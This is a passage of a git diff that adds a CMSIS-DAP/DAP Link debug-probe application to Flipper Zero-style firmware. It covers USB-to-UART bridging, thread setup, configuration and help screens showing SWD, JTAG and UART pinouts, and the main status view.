DapUartTypeLPUART1: + uart_id = FuriHalUartIdLPUART1; + furi_hal_uart_deinit(uart_id); + if(swap == DapUartTXRXSwap) { + LL_LPUART_SetTXRXSwap(LPUART1, LL_LPUART_TXRX_SWAPPED); + } else { + LL_LPUART_SetTXRXSwap(LPUART1, LL_LPUART_TXRX_STANDARD); + } + furi_hal_uart_init(uart_id, baudrate); + furi_hal_uart_set_irq_cb(uart_id, cb, ctx); + break; + } + + return uart_id; +} + +static void cdc_deinit_uart(DapUartType type) { + switch(type) { + case DapUartTypeUSART1: + furi_hal_uart_deinit(FuriHalUartIdUSART1); + LL_USART_SetTXRXSwap(USART1, LL_USART_TXRX_STANDARD); + furi_hal_console_init(); + break; + case DapUartTypeLPUART1: + furi_hal_uart_deinit(FuriHalUartIdLPUART1); + LL_LPUART_SetTXRXSwap(LPUART1, LL_LPUART_TXRX_STANDARD); + break; + } +} + +static int32_t cdc_process(void* p) { + DapApp* dap_app = p; + DapState* dap_state = &(dap_app->state); + + dap_app->config.uart_pins = DapUartTypeLPUART1; + dap_app->config.uart_swap = DapUartTXRXNormal; + + DapUartType uart_pins_prev = dap_app->config.uart_pins; + DapUartTXRX uart_swap_prev = dap_app->config.uart_swap; + + CDCProcess* app = malloc(sizeof(CDCProcess)); + app->thread_id = furi_thread_get_id(furi_thread_get_current()); + app->rx_stream = furi_stream_buffer_alloc(512, 1); + + const uint8_t rx_buffer_size = 64; + uint8_t* rx_buffer = malloc(rx_buffer_size); + + app->uart_id = cdc_init_uart( + uart_pins_prev, uart_swap_prev, dap_state->cdc_baudrate, cdc_uart_irq_cb, app); + + dap_cdc_usb_set_context(app); + dap_cdc_usb_set_rx_callback(cdc_usb_rx_callback); + dap_cdc_usb_set_control_line_callback(cdc_usb_control_line_callback); + dap_cdc_usb_set_config_callback(cdc_usb_config_callback); + + uint32_t events; + while(1) { + events = furi_thread_flags_wait(CDCThreadEventAll, FuriFlagWaitAny, FuriWaitForever); + + if(!(events & FuriFlagError)) { + if(events & CDCThreadEventCDCConfig) { + if(dap_state->cdc_baudrate != app->line_coding.dwDTERate) { + dap_state->cdc_baudrate = app->line_coding.dwDTERate; + if(dap_state->cdc_baudrate > 0) { + furi_hal_uart_set_br(app->uart_id, dap_state->cdc_baudrate); + } + } + } + + if(events & CDCThreadEventUARTRx) { + size_t len = + furi_stream_buffer_receive(app->rx_stream, rx_buffer, rx_buffer_size, 0); + + if(len > 0) { + dap_cdc_usb_tx(rx_buffer, len); + } + dap_state->cdc_rx_counter += len; + } + + if(events & CDCThreadEventCDCRx) { + size_t len = dap_cdc_usb_rx(rx_buffer, rx_buffer_size); + if(len > 0) { + furi_hal_uart_tx(app->uart_id, rx_buffer, len); + } + dap_state->cdc_tx_counter += len; + } + + if(events & CDCThreadEventApplyConfig) { + if(uart_pins_prev != dap_app->config.uart_pins || + uart_swap_prev != dap_app->config.uart_swap) { + cdc_deinit_uart(uart_pins_prev); + uart_pins_prev = dap_app->config.uart_pins; + uart_swap_prev = dap_app->config.uart_swap; + app->uart_id = cdc_init_uart( + uart_pins_prev, + uart_swap_prev, + dap_state->cdc_baudrate, + cdc_uart_irq_cb, + app); + } + } + + if(events & CDCThreadEventStop) { + break; + } + } + } + + cdc_deinit_uart(uart_pins_prev); + free(rx_buffer); + furi_stream_buffer_free(app->rx_stream); + free(app); + + return 0; +} + +/***************************************************************************/ +/******************************* MAIN APP **********************************/ +/***************************************************************************/ + +static DapApp* dap_app_alloc() { + DapApp* dap_app = malloc(sizeof(DapApp)); + dap_app->dap_thread = furi_thread_alloc_ex("DAP Process", 1024, dap_process, dap_app); + dap_app->cdc_thread = furi_thread_alloc_ex("DAP CDC", 1024, cdc_process, dap_app); + dap_app->gui_thread = furi_thread_alloc_ex("DAP GUI", 1024, dap_gui_thread, dap_app); + return dap_app; +} + +static void dap_app_free(DapApp* dap_app) { + furi_assert(dap_app); + furi_thread_free(dap_app->dap_thread); + furi_thread_free(dap_app->cdc_thread); + furi_thread_free(dap_app->gui_thread); + free(dap_app); +} + +static DapApp* app_handle = NULL; + +void dap_app_disconnect() { + app_handle->state.dap_mode = DapModeDisconnected; +} + +void dap_app_connect_swd() { + app_handle->state.dap_mode = DapModeSWD; +} + +void dap_app_connect_jtag() { + app_handle->state.dap_mode = DapModeJTAG; +} + +void dap_app_set_config(DapApp* app, DapConfig* config) { + app->config = *config; + furi_thread_flags_set(furi_thread_get_id(app->dap_thread), DAPThreadEventApplyConfig); + furi_thread_flags_set(furi_thread_get_id(app->cdc_thread), CDCThreadEventApplyConfig); +} + +DapConfig* dap_app_get_config(DapApp* app) { + return &app->config; +} + +int32_t dap_link_app(void* p) { + UNUSED(p); + + if(furi_hal_usb_is_locked()) { + DialogsApp* dialogs = furi_record_open(RECORD_DIALOGS); + DialogMessage* message = dialog_message_alloc(); + dialog_message_set_header(message, "Connection\nis active!", 3, 2, AlignLeft, AlignTop); + dialog_message_set_text( + message, + "Disconnect from\nPC or phone to\nuse this function.", + 3, + 30, + AlignLeft, + AlignTop); + dialog_message_set_icon(message, &I_ActiveConnection_50x64, 78, 0); + dialog_message_show(dialogs, message); + dialog_message_free(message); + furi_record_close(RECORD_DIALOGS); + return -1; + } + + // alloc app + DapApp* app = dap_app_alloc(); + app_handle = app; + + furi_thread_start(app->dap_thread); + furi_thread_start(app->cdc_thread); + furi_thread_start(app->gui_thread); + + // wait until gui thread is finished + furi_thread_join(app->gui_thread); + + // send stop event to threads + dap_thread_send_stop(app->dap_thread); + dap_thread_send_stop(app->cdc_thread); + + // wait for threads to stop + furi_thread_join(app->dap_thread); + furi_thread_join(app->cdc_thread); + + // free app + dap_app_free(app); + + return 0; +} \ No newline at end of file diff --git a/applications/external/dap_link/dap_link.h b/applications/external/dap_link/dap_link.h new file mode 100644 index 000000000..d51726c45 --- /dev/null +++ b/applications/external/dap_link/dap_link.h @@ -0,0 +1,55 @@ +#pragma once +#include + +typedef enum { + DapModeDisconnected, + DapModeSWD, + DapModeJTAG, +} DapMode; + +typedef enum { + DapVersionUnknown, + DapVersionV1, + DapVersionV2, +} DapVersion; + +typedef struct { + bool usb_connected; + DapMode dap_mode; + DapVersion dap_version; + uint32_t dap_counter; + uint32_t cdc_baudrate; + uint32_t cdc_tx_counter; + uint32_t cdc_rx_counter; +} DapState; + +typedef enum { + DapSwdPinsPA7PA6, // Pins 2, 3 + DapSwdPinsPA14PA13, // Pins 10, 12 +} DapSwdPins; + +typedef enum { + DapUartTypeUSART1, // Pins 13, 14 + DapUartTypeLPUART1, // Pins 15, 16 +} DapUartType; + +typedef enum { + DapUartTXRXNormal, + DapUartTXRXSwap, +} DapUartTXRX; + +typedef struct { + DapSwdPins swd_pins; + DapUartType uart_pins; + DapUartTXRX uart_swap; +} DapConfig; + +typedef struct DapApp DapApp; + +void dap_app_get_state(DapApp* app, DapState* state); + +const char* dap_app_get_serial(DapApp* app); + +void dap_app_set_config(DapApp* app, DapConfig* config); + +DapConfig* dap_app_get_config(DapApp* app); \ No newline at end of file diff --git a/applications/external/dap_link/gui/dap_gui.c b/applications/external/dap_link/gui/dap_gui.c new file mode 100644 index 000000000..4dd986153 --- /dev/null +++ b/applications/external/dap_link/gui/dap_gui.c @@ -0,0 +1,92 @@ +#include "dap_gui.h" +#include "dap_gui_i.h" + +#define DAP_GUI_TICK 250 + +static bool dap_gui_custom_event_callback(void* context, uint32_t event) { + furi_assert(context); + DapGuiApp* app = context; + return scene_manager_handle_custom_event(app->scene_manager, event); +} + +static bool dap_gui_back_event_callback(void* context) { + furi_assert(context); + DapGuiApp* app = context; + return scene_manager_handle_back_event(app->scene_manager); +} + +static void dap_gui_tick_event_callback(void* context) { + furi_assert(context); + DapGuiApp* app = context; + scene_manager_handle_tick_event(app->scene_manager); +} + +DapGuiApp* dap_gui_alloc() { + DapGuiApp* app = malloc(sizeof(DapGuiApp)); + app->gui = furi_record_open(RECORD_GUI); + app->view_dispatcher = view_dispatcher_alloc(); + app->scene_manager = scene_manager_alloc(&dap_scene_handlers, app); + view_dispatcher_enable_queue(app->view_dispatcher); + view_dispatcher_set_event_callback_context(app->view_dispatcher, app); + + view_dispatcher_set_custom_event_callback(app->view_dispatcher, dap_gui_custom_event_callback); + view_dispatcher_set_navigation_event_callback( + app->view_dispatcher, dap_gui_back_event_callback); + view_dispatcher_set_tick_event_callback( + app->view_dispatcher, dap_gui_tick_event_callback, DAP_GUI_TICK); + + view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); + + app->notifications = furi_record_open(RECORD_NOTIFICATION); + + app->var_item_list = variable_item_list_alloc(); + view_dispatcher_add_view( + app->view_dispatcher, + DapGuiAppViewVarItemList, + variable_item_list_get_view(app->var_item_list)); + + app->main_view = dap_main_view_alloc(); + view_dispatcher_add_view( + app->view_dispatcher, DapGuiAppViewMainView, dap_main_view_get_view(app->main_view)); + + app->widget = widget_alloc(); + view_dispatcher_add_view( + app->view_dispatcher, DapGuiAppViewWidget, widget_get_view(app->widget)); + + scene_manager_next_scene(app->scene_manager, DapSceneMain); + + return app; +} + +void dap_gui_free(DapGuiApp* app) { + view_dispatcher_remove_view(app->view_dispatcher, DapGuiAppViewVarItemList); + variable_item_list_free(app->var_item_list); + + view_dispatcher_remove_view(app->view_dispatcher, DapGuiAppViewMainView); + dap_main_view_free(app->main_view); + + view_dispatcher_remove_view(app->view_dispatcher, DapGuiAppViewWidget); + widget_free(app->widget); + + // View dispatcher + view_dispatcher_free(app->view_dispatcher); + scene_manager_free(app->scene_manager); + + // Close records + furi_record_close(RECORD_GUI); + furi_record_close(RECORD_NOTIFICATION); + + free(app); +} + +int32_t dap_gui_thread(void* arg) { + DapGuiApp* app = dap_gui_alloc(); + app->dap_app = arg; + + notification_message_block(app->notifications, &sequence_display_backlight_enforce_on); + view_dispatcher_run(app->view_dispatcher); + notification_message_block(app->notifications, &sequence_display_backlight_enforce_auto); + + dap_gui_free(app); + return 0; +} \ No newline at end of file diff --git a/applications/external/dap_link/gui/dap_gui.h b/applications/external/dap_link/gui/dap_gui.h new file mode 100644 index 000000000..3d8e6bdf9 --- /dev/null +++ b/applications/external/dap_link/gui/dap_gui.h @@ -0,0 +1,4 @@ +#pragma once +#include + +int32_t dap_gui_thread(void* arg); \ No newline at end of file diff --git a/applications/external/dap_link/gui/dap_gui_custom_event.h b/applications/external/dap_link/gui/dap_gui_custom_event.h new file mode 100644 index 000000000..8b127c9d4 --- /dev/null +++ b/applications/external/dap_link/gui/dap_gui_custom_event.h @@ -0,0 +1,7 @@ +#pragma once + +typedef enum { + DapAppCustomEventConfig, + DapAppCustomEventHelp, + DapAppCustomEventAbout, +} DapAppCustomEvent; diff --git a/applications/external/dap_link/gui/dap_gui_i.h b/applications/external/dap_link/gui/dap_gui_i.h new file mode 100644 index 000000000..59411e78c --- /dev/null +++ b/applications/external/dap_link/gui/dap_gui_i.h @@ -0,0 +1,34 @@ +#pragma once + +#include +#include +#include +#include +#include +#include +#include + +#include "dap_gui.h" +#include "../dap_link.h" +#include "scenes/config/dap_scene.h" +#include "dap_gui_custom_event.h" +#include "views/dap_main_view.h" + +typedef struct { + DapApp* dap_app; + + Gui* gui; + NotificationApp* notifications; + ViewDispatcher* view_dispatcher; + SceneManager* scene_manager; + + VariableItemList* var_item_list; + DapMainView* main_view; + Widget* widget; +} DapGuiApp; + +typedef enum { + DapGuiAppViewVarItemList, + DapGuiAppViewMainView, + DapGuiAppViewWidget, +} DapGuiAppView; diff --git a/applications/external/dap_link/gui/scenes/config/dap_scene_config.h b/applications/external/dap_link/gui/scenes/config/dap_scene_config.h new file mode 100644 index 000000000..8957aca06 --- /dev/null +++ b/applications/external/dap_link/gui/scenes/config/dap_scene_config.h @@ -0,0 +1,4 @@ +ADD_SCENE(dap, main, Main) +ADD_SCENE(dap, config, Config) +ADD_SCENE(dap, help, Help) +ADD_SCENE(dap, about, About) \ No newline at end of file diff --git a/applications/external/dap_link/gui/scenes/dap_scene_config.c b/applications/external/dap_link/gui/scenes/dap_scene_config.c new file mode 100644 index 000000000..48d5fedcd --- /dev/null +++ b/applications/external/dap_link/gui/scenes/dap_scene_config.c @@ -0,0 +1,107 @@ +#include "../dap_gui_i.h" + +static const char* swd_pins[] = {[DapSwdPinsPA7PA6] = "2,3", [DapSwdPinsPA14PA13] = "10,12"}; +static const char* uart_pins[] = {[DapUartTypeUSART1] = "13,14", [DapUartTypeLPUART1] = "15,16"}; +static const char* uart_swap[] = {[DapUartTXRXNormal] = "No", [DapUartTXRXSwap] = "Yes"}; + +static void swd_pins_cb(VariableItem* item) { + DapGuiApp* app = variable_item_get_context(item); + uint8_t index = variable_item_get_current_value_index(item); + + variable_item_set_current_value_text(item, swd_pins[index]); + + DapConfig* config = dap_app_get_config(app->dap_app); + config->swd_pins = index; + dap_app_set_config(app->dap_app, config); +} + +static void uart_pins_cb(VariableItem* item) { + DapGuiApp* app = variable_item_get_context(item); + uint8_t index = variable_item_get_current_value_index(item); + + variable_item_set_current_value_text(item, uart_pins[index]); + + DapConfig* config = dap_app_get_config(app->dap_app); + config->uart_pins = index; + dap_app_set_config(app->dap_app, config); +} + +static void uart_swap_cb(VariableItem* item) { + DapGuiApp* app = variable_item_get_context(item); + uint8_t index = variable_item_get_current_value_index(item); + + variable_item_set_current_value_text(item, uart_swap[index]); + + DapConfig* config = dap_app_get_config(app->dap_app); + config->uart_swap = index; + dap_app_set_config(app->dap_app, config); +} + +static void ok_cb(void* context, uint32_t index) { + DapGuiApp* app = context; + switch(index) { + case 3: + view_dispatcher_send_custom_event(app->view_dispatcher, DapAppCustomEventHelp); + break; + case 4: + view_dispatcher_send_custom_event(app->view_dispatcher, DapAppCustomEventAbout); + break; + default: + break; + } +} + +void dap_scene_config_on_enter(void* context) { + DapGuiApp* app = context; + VariableItemList* var_item_list = app->var_item_list; + VariableItem* item; + DapConfig* config = dap_app_get_config(app->dap_app); + + item = variable_item_list_add( + var_item_list, "SWC SWD Pins", COUNT_OF(swd_pins), swd_pins_cb, app); + variable_item_set_current_value_index(item, config->swd_pins); + variable_item_set_current_value_text(item, swd_pins[config->swd_pins]); + + item = + variable_item_list_add(var_item_list, "UART Pins", COUNT_OF(uart_pins), uart_pins_cb, app); + variable_item_set_current_value_index(item, config->uart_pins); + variable_item_set_current_value_text(item, uart_pins[config->uart_pins]); + + item = variable_item_list_add( + var_item_list, "Swap TX RX", COUNT_OF(uart_swap), uart_swap_cb, app); + variable_item_set_current_value_index(item, config->uart_swap); + variable_item_set_current_value_text(item, uart_swap[config->uart_swap]); + + variable_item_list_add(var_item_list, "Help and Pinout", 0, NULL, NULL); + variable_item_list_add(var_item_list, "About", 0, NULL, NULL); + + variable_item_list_set_selected_item( + var_item_list, scene_manager_get_scene_state(app->scene_manager, DapSceneConfig)); + + variable_item_list_set_enter_callback(var_item_list, ok_cb, app); + + view_dispatcher_switch_to_view(app->view_dispatcher, DapGuiAppViewVarItemList); +} + +bool dap_scene_config_on_event(void* context, SceneManagerEvent event) { + DapGuiApp* app = context; + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == DapAppCustomEventHelp) { + scene_manager_next_scene(app->scene_manager, DapSceneHelp); + return true; + } else if(event.event == DapAppCustomEventAbout) { + scene_manager_next_scene(app->scene_manager, DapSceneAbout); + return true; + } + } + return false; +} + +void dap_scene_config_on_exit(void* context) { + DapGuiApp* app = context; + scene_manager_set_scene_state( + app->scene_manager, + DapSceneConfig, + variable_item_list_get_selected_item_index(app->var_item_list)); + variable_item_list_reset(app->var_item_list); +} \ No newline at end of file diff --git a/applications/external/dap_link/gui/scenes/dap_scene_help.c b/applications/external/dap_link/gui/scenes/dap_scene_help.c new file mode 100644 index 000000000..d8d70e7ff --- /dev/null +++ b/applications/external/dap_link/gui/scenes/dap_scene_help.c @@ -0,0 +1,102 @@ +#include "../dap_gui_i.h" + +void dap_scene_help_on_enter(void* context) { + DapGuiApp* app = context; + DapConfig* config = dap_app_get_config(app->dap_app); + FuriString* string = furi_string_alloc(); + + furi_string_cat(string, "CMSIS DAP/DAP Link v2\r\n"); + furi_string_cat_printf(string, "Serial: %s\r\n", dap_app_get_serial(app->dap_app)); + furi_string_cat( + string, + "Pinout:\r\n" + "\e#SWD:\r\n"); + + switch(config->swd_pins) { + case DapSwdPinsPA7PA6: + furi_string_cat( + string, + " SWC: 2 [A7]\r\n" + " SWD: 3 [A6]\r\n"); + break; + case DapSwdPinsPA14PA13: + furi_string_cat( + string, + " SWC: 10 [SWC]\r\n" + " SWD: 12 [SIO]\r\n"); + break; + default: + break; + } + + furi_string_cat(string, "\e#JTAG:\r\n"); + switch(config->swd_pins) { + case DapSwdPinsPA7PA6: + furi_string_cat( + string, + " TCK: 2 [A7]\r\n" + " TMS: 3 [A6]\r\n" + " RST: 4 [A4]\r\n" + " TDO: 5 [B3]\r\n" + " TDI: 6 [B2]\r\n"); + break; + case DapSwdPinsPA14PA13: + furi_string_cat( + string, + " RST: 4 [A4]\r\n" + " TDO: 5 [B3]\r\n" + " TDI: 6 [B2]\r\n" + " TCK: 10 [SWC]\r\n" + " TMS: 12 [SIO]\r\n"); + break; + default: + break; + } + + furi_string_cat(string, "\e#UART:\r\n"); + switch(config->uart_pins) { + case DapUartTypeUSART1: + if(config->uart_swap == DapUartTXRXNormal) { + furi_string_cat( + string, + " TX: 13 [TX]\r\n" + " RX: 14 [RX]\r\n"); + } else { + furi_string_cat( + string, + " RX: 13 [TX]\r\n" + " TX: 14 [RX]\r\n"); + } + break; + case DapUartTypeLPUART1: + if(config->uart_swap == DapUartTXRXNormal) { + furi_string_cat( + string, + " TX: 15 [C1]\r\n" + " RX: 16 [C0]\r\n"); + } else { + furi_string_cat( + string, + " RX: 15 [C1]\r\n" + " TX: 16 [C0]\r\n"); + } + break; + default: + break; + } + + widget_add_text_scroll_element(app->widget, 0, 0, 128, 64, furi_string_get_cstr(string)); + furi_string_free(string); + view_dispatcher_switch_to_view(app->view_dispatcher, DapGuiAppViewWidget); +} + +bool dap_scene_help_on_event(void* context, SceneManagerEvent event) { + UNUSED(context); + UNUSED(event); + return false; +} + +void dap_scene_help_on_exit(void* context) { + DapGuiApp* app = context; + widget_reset(app->widget); +} \ No newline at end of file diff --git a/applications/external/dap_link/gui/scenes/dap_scene_main.c b/applications/external/dap_link/gui/scenes/dap_scene_main.c new file mode 100644 index 000000000..8c19bd6a5 --- /dev/null +++ b/applications/external/dap_link/gui/scenes/dap_scene_main.c @@ -0,0 +1,154 @@ +#include "../dap_gui_i.h" +#include "../../dap_link.h" + +typedef struct { + DapState dap_state; + bool dap_active; + bool tx_active; + bool rx_active; +} DapSceneMainState; + +static bool process_dap_state(DapGuiApp* app) { + DapSceneMainState* state = + (DapSceneMainState*)scene_manager_get_scene_state(app->scene_manager, DapSceneMain); + if(state == NULL) return true; + + DapState* prev_state = &state->dap_state; + DapState next_state; + dap_app_get_state(app->dap_app, &next_state); + bool need_to_update = false; + + if(prev_state->dap_mode != next_state.dap_mode) { + switch(next_state.dap_mode) { + case DapModeDisconnected: + dap_main_view_set_mode(app->main_view, DapMainViewModeDisconnected); + notification_message(app->notifications, &sequence_blink_stop); + break; + case DapModeSWD: + dap_main_view_set_mode(app->main_view, DapMainViewModeSWD); + notification_message(app->notifications, &sequence_blink_start_blue); + break; + case DapModeJTAG: + dap_main_view_set_mode(app->main_view, DapMainViewModeJTAG); + notification_message(app->notifications, &sequence_blink_start_magenta); + break; + } + need_to_update = true; + } + + if(prev_state->dap_version != next_state.dap_version) { + switch(next_state.dap_version) { + case DapVersionUnknown: + dap_main_view_set_version(app->main_view, DapMainViewVersionUnknown); + break; + case DapVersionV1: + dap_main_view_set_version(app->main_view, DapMainViewVersionV1); + break; + case DapVersionV2: + dap_main_view_set_version(app->main_view, DapMainViewVersionV2); + break; + } + need_to_update = true; + } + + if(prev_state->usb_connected != next_state.usb_connected) { + dap_main_view_set_usb_connected(app->main_view, next_state.usb_connected); + need_to_update = true; + } + + if(prev_state->dap_counter != next_state.dap_counter) { + if(!state->dap_active) { + state->dap_active = true; + dap_main_view_set_dap(app->main_view, state->dap_active); + need_to_update = true; + } + } else { + if(state->dap_active) { + state->dap_active = false; + dap_main_view_set_dap(app->main_view, state->dap_active); + need_to_update = true; + } + } + + if(prev_state->cdc_baudrate != next_state.cdc_baudrate) { + dap_main_view_set_baudrate(app->main_view, next_state.cdc_baudrate); + need_to_update = true; + } + + if(prev_state->cdc_tx_counter != next_state.cdc_tx_counter) { + if(!state->tx_active) { + state->tx_active = true; + dap_main_view_set_tx(app->main_view, state->tx_active); + need_to_update = true; + notification_message(app->notifications, &sequence_blink_start_red); + } + } else { + if(state->tx_active) { + state->tx_active = false; + dap_main_view_set_tx(app->main_view, state->tx_active); + need_to_update = true; + notification_message(app->notifications, &sequence_blink_stop); + } + } + + if(prev_state->cdc_rx_counter != next_state.cdc_rx_counter) { + if(!state->rx_active) { + state->rx_active = true; + dap_main_view_set_rx(app->main_view, state->rx_active); + need_to_update = true; + notification_message(app->notifications, &sequence_blink_start_green); + } + } else { + if(state->rx_active) { + state->rx_active = false; + dap_main_view_set_rx(app->main_view, state->rx_active); + need_to_update = true; + notification_message(app->notifications, &sequence_blink_stop); + } + } + + if(need_to_update) { + dap_main_view_update(app->main_view); + } + + *prev_state = next_state; + return true; +} + +static void dap_scene_main_on_left(void* context) { + DapGuiApp* app = (DapGuiApp*)context; + view_dispatcher_send_custom_event(app->view_dispatcher, DapAppCustomEventConfig); +} + +void dap_scene_main_on_enter(void* context) { + DapGuiApp* app = context; + DapSceneMainState* state = malloc(sizeof(DapSceneMainState)); + dap_main_view_set_left_callback(app->main_view, dap_scene_main_on_left, app); + view_dispatcher_switch_to_view(app->view_dispatcher, DapGuiAppViewMainView); + scene_manager_set_scene_state(app->scene_manager, DapSceneMain, (uint32_t)state); +} + +bool dap_scene_main_on_event(void* context, SceneManagerEvent event) { + DapGuiApp* app = context; + + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == DapAppCustomEventConfig) { + scene_manager_next_scene(app->scene_manager, DapSceneConfig); + return true; + } + } else if(event.type == SceneManagerEventTypeTick) { + return process_dap_state(app); + } + + return false; +} + +void dap_scene_main_on_exit(void* context) { + DapGuiApp* app = context; + DapSceneMainState* state = + (DapSceneMainState*)scene_manager_get_scene_state(app->scene_manager, DapSceneMain); + scene_manager_set_scene_state(app->scene_manager, DapSceneMain, (uint32_t)NULL); + FURI_SW_MEMBARRIER(); + free(state); + notification_message(app->notifications, &sequence_blink_stop); +} \ No newline at end of file diff --git a/applications/external/dap_link/gui/views/dap_main_view.c b/applications/external/dap_link/gui/views/dap_main_view.c new file mode 100644 index 000000000..c5c8f9dff --- /dev/null +++ b/applications/external/dap_link/gui/views/dap_main_view.c @@ -0,0 +1,189 @@ +#include "dap_main_view.h" +#include "dap_link_icons.h" +#include + +// extern const Icon I_ArrowDownEmpty_12x18; +// extern const Icon I_ArrowDownFilled_12x18; +// extern const Icon I_ArrowUpEmpty_12x18; +// extern const Icon I_ArrowUpFilled_12x18; + +struct DapMainView { + View* view; + DapMainViewButtonCallback cb_left; + void* cb_context; +}; + +typedef struct { + DapMainViewMode mode; + DapMainViewVersion version; + bool usb_connected; + uint32_t baudrate; + bool dap_active; + bool tx_active; + bool rx_active; +} DapMainViewModel; + +static void dap_main_view_draw_callback(Canvas* canvas, void* _model) { + DapMainViewModel* model = _model; + UNUSED(model); + canvas_clear(canvas); + elements_button_left(canvas, "Config"); + + canvas_set_color(canvas, ColorBlack); + canvas_draw_box(canvas, 0, 0, 127, 11); + canvas_set_color(canvas, ColorWhite); + + const char* header_string; + if(model->usb_connected) { + if(model->version == DapMainViewVersionV1) { + header_string = "DAP Link V1 Connected"; + } else if(model->version == DapMainViewVersionV2) { + header_string = "DAP Link V2 Connected"; + } else { + header_string = "DAP Link Connected"; + } + } else { + header_string = "DAP Link"; + } + + canvas_draw_str_aligned(canvas, 64, 9, AlignCenter, AlignBottom, header_string); + + canvas_set_color(canvas, ColorBlack); + if(model->dap_active) { + canvas_draw_icon(canvas, 14, 16, &I_ArrowUpFilled_12x18); + canvas_draw_icon(canvas, 28, 16, &I_ArrowDownFilled_12x18); + } else { + canvas_draw_icon(canvas, 14, 16, &I_ArrowUpEmpty_12x18); + canvas_draw_icon(canvas, 28, 16, &I_ArrowDownEmpty_12x18); + } + + switch(model->mode) { + case DapMainViewModeDisconnected: + canvas_draw_str_aligned(canvas, 26, 38, AlignCenter, AlignTop, "----"); + break; + case DapMainViewModeSWD: + canvas_draw_str_aligned(canvas, 26, 38, AlignCenter, AlignTop, "SWD"); + break; + case DapMainViewModeJTAG: + canvas_draw_str_aligned(canvas, 26, 38, AlignCenter, AlignTop, "JTAG"); + break; + } + + if(model->tx_active) { + canvas_draw_icon(canvas, 87, 16, &I_ArrowUpFilled_12x18); + } else { + canvas_draw_icon(canvas, 87, 16, &I_ArrowUpEmpty_12x18); + } + + if(model->rx_active) { + canvas_draw_icon(canvas, 101, 16, &I_ArrowDownFilled_12x18); + } else { + canvas_draw_icon(canvas, 101, 16, &I_ArrowDownEmpty_12x18); + } + + canvas_draw_str_aligned(canvas, 100, 38, AlignCenter, AlignTop, "UART"); + + canvas_draw_line(canvas, 44, 52, 123, 52); + if(model->baudrate == 0) { + canvas_draw_str(canvas, 45, 62, "Baud: ????"); + } else { + char baudrate_str[18]; + snprintf(baudrate_str, 18, "Baud: %lu", model->baudrate); + canvas_draw_str(canvas, 45, 62, baudrate_str); + } +} + +static bool dap_main_view_input_callback(InputEvent* event, void* context) { + furi_assert(context); + DapMainView* dap_main_view = context; + bool consumed = false; + + if(event->type == InputTypeShort) { + if(event->key == InputKeyLeft) { + if(dap_main_view->cb_left) { + dap_main_view->cb_left(dap_main_view->cb_context); + } + consumed = true; + } + } + + return consumed; +} + +DapMainView* dap_main_view_alloc() { + DapMainView* dap_main_view = malloc(sizeof(DapMainView)); + + dap_main_view->view = view_alloc(); + view_allocate_model(dap_main_view->view, ViewModelTypeLocking, sizeof(DapMainViewModel)); + view_set_context(dap_main_view->view, dap_main_view); + view_set_draw_callback(dap_main_view->view, dap_main_view_draw_callback); + view_set_input_callback(dap_main_view->view, dap_main_view_input_callback); + return dap_main_view; +} + +void dap_main_view_free(DapMainView* dap_main_view) { + view_free(dap_main_view->view); + free(dap_main_view); +} + +View* dap_main_view_get_view(DapMainView* dap_main_view) { + return dap_main_view->view; +} + +void dap_main_view_set_left_callback( + DapMainView* dap_main_view, + DapMainViewButtonCallback callback, + void* context) { + with_view_model( + dap_main_view->view, + DapMainViewModel * model, + { + UNUSED(model); + dap_main_view->cb_left = callback; + dap_main_view->cb_context = context; + }, + true); +} + +void dap_main_view_set_mode(DapMainView* dap_main_view, DapMainViewMode mode) { + with_view_model( + dap_main_view->view, DapMainViewModel * model, { model->mode = mode; }, false); +} + +void dap_main_view_set_dap(DapMainView* dap_main_view, bool active) { + with_view_model( + dap_main_view->view, DapMainViewModel * model, { model->dap_active = active; }, false); +} + +void dap_main_view_set_tx(DapMainView* dap_main_view, bool active) { + with_view_model( + dap_main_view->view, DapMainViewModel * model, { model->tx_active = active; }, false); +} + +void dap_main_view_set_rx(DapMainView* dap_main_view, bool active) { + with_view_model( + dap_main_view->view, DapMainViewModel * model, { model->rx_active = active; }, false); +} + +void dap_main_view_set_baudrate(DapMainView* dap_main_view, uint32_t baudrate) { + with_view_model( + dap_main_view->view, DapMainViewModel * model, { model->baudrate = baudrate; }, false); +} + +void dap_main_view_update(DapMainView* dap_main_view) { + with_view_model( + dap_main_view->view, DapMainViewModel * model, { UNUSED(model); }, true); +} + +void dap_main_view_set_version(DapMainView* dap_main_view, DapMainViewVersion version) { + with_view_model( + dap_main_view->view, DapMainViewModel * model, { model->version = version; }, false); +} + +void dap_main_view_set_usb_connected(DapMainView* dap_main_view, bool connected) { + with_view_model( + dap_main_view->view, + DapMainViewModel * model, + { model->usb_connected = connected; }, + false); +} \ No newline at end of file diff --git a/applications/external/dap_link/gui/views/dap_main_view.h b/applications/external/dap_link/gui/views/dap_main_view.h new file mode 100644 index 000000000..1fd900452 --- /dev/null +++ b/applications/external/dap_link/gui/views/dap_main_view.h @@ -0,0 +1,45 @@ +#pragma once +#include + +typedef struct DapMainView DapMainView; + +typedef void (*DapMainViewButtonCallback)(void* context); + +typedef enum { + DapMainViewVersionUnknown, + DapMainViewVersionV1, + DapMainViewVersionV2, +} DapMainViewVersion; + +typedef enum { + DapMainViewModeDisconnected, + DapMainViewModeSWD, + DapMainViewModeJTAG, +} DapMainViewMode; + +DapMainView* dap_main_view_alloc(); + +void dap_main_view_free(DapMainView* dap_main_view); + +View* dap_main_view_get_view(DapMainView* dap_main_view); + +void dap_main_view_set_left_callback( + DapMainView* dap_main_view, + DapMainViewButtonCallback callback, + void* context); + +void dap_main_view_set_mode(DapMainView* dap_main_view, DapMainViewMode mode); + +void dap_main_view_set_version(DapMainView* dap_main_view, DapMainViewVersion version); + +void dap_main_view_set_dap(DapMainView* dap_main_view, bool active); + +void dap_main_view_set_tx(DapMainView* dap_main_view, bool active); + +void dap_main_view_set_rx(DapMainView* dap_main_view, bool active); + +void dap_main_view_set_usb_connected(DapMainView* dap_main_view, bool connected); + +void dap_main_view_set_baudrate(DapMainView* dap_main_view, uint32_t baudrate); + +void dap_main_view_update(DapMainView* dap_main_view); \ No newline at end of file diff --git a/applications/external/dap_link/icons/ActiveConnection_50x64.png b/applications/external/dap_link/icons/ActiveConnection_50x64.png new file mode 100644 index 0000000000000000000000000000000000000000..1d7686dddf8a33b724c7528ed36435514b7518b2 GIT binary patch literal 3842 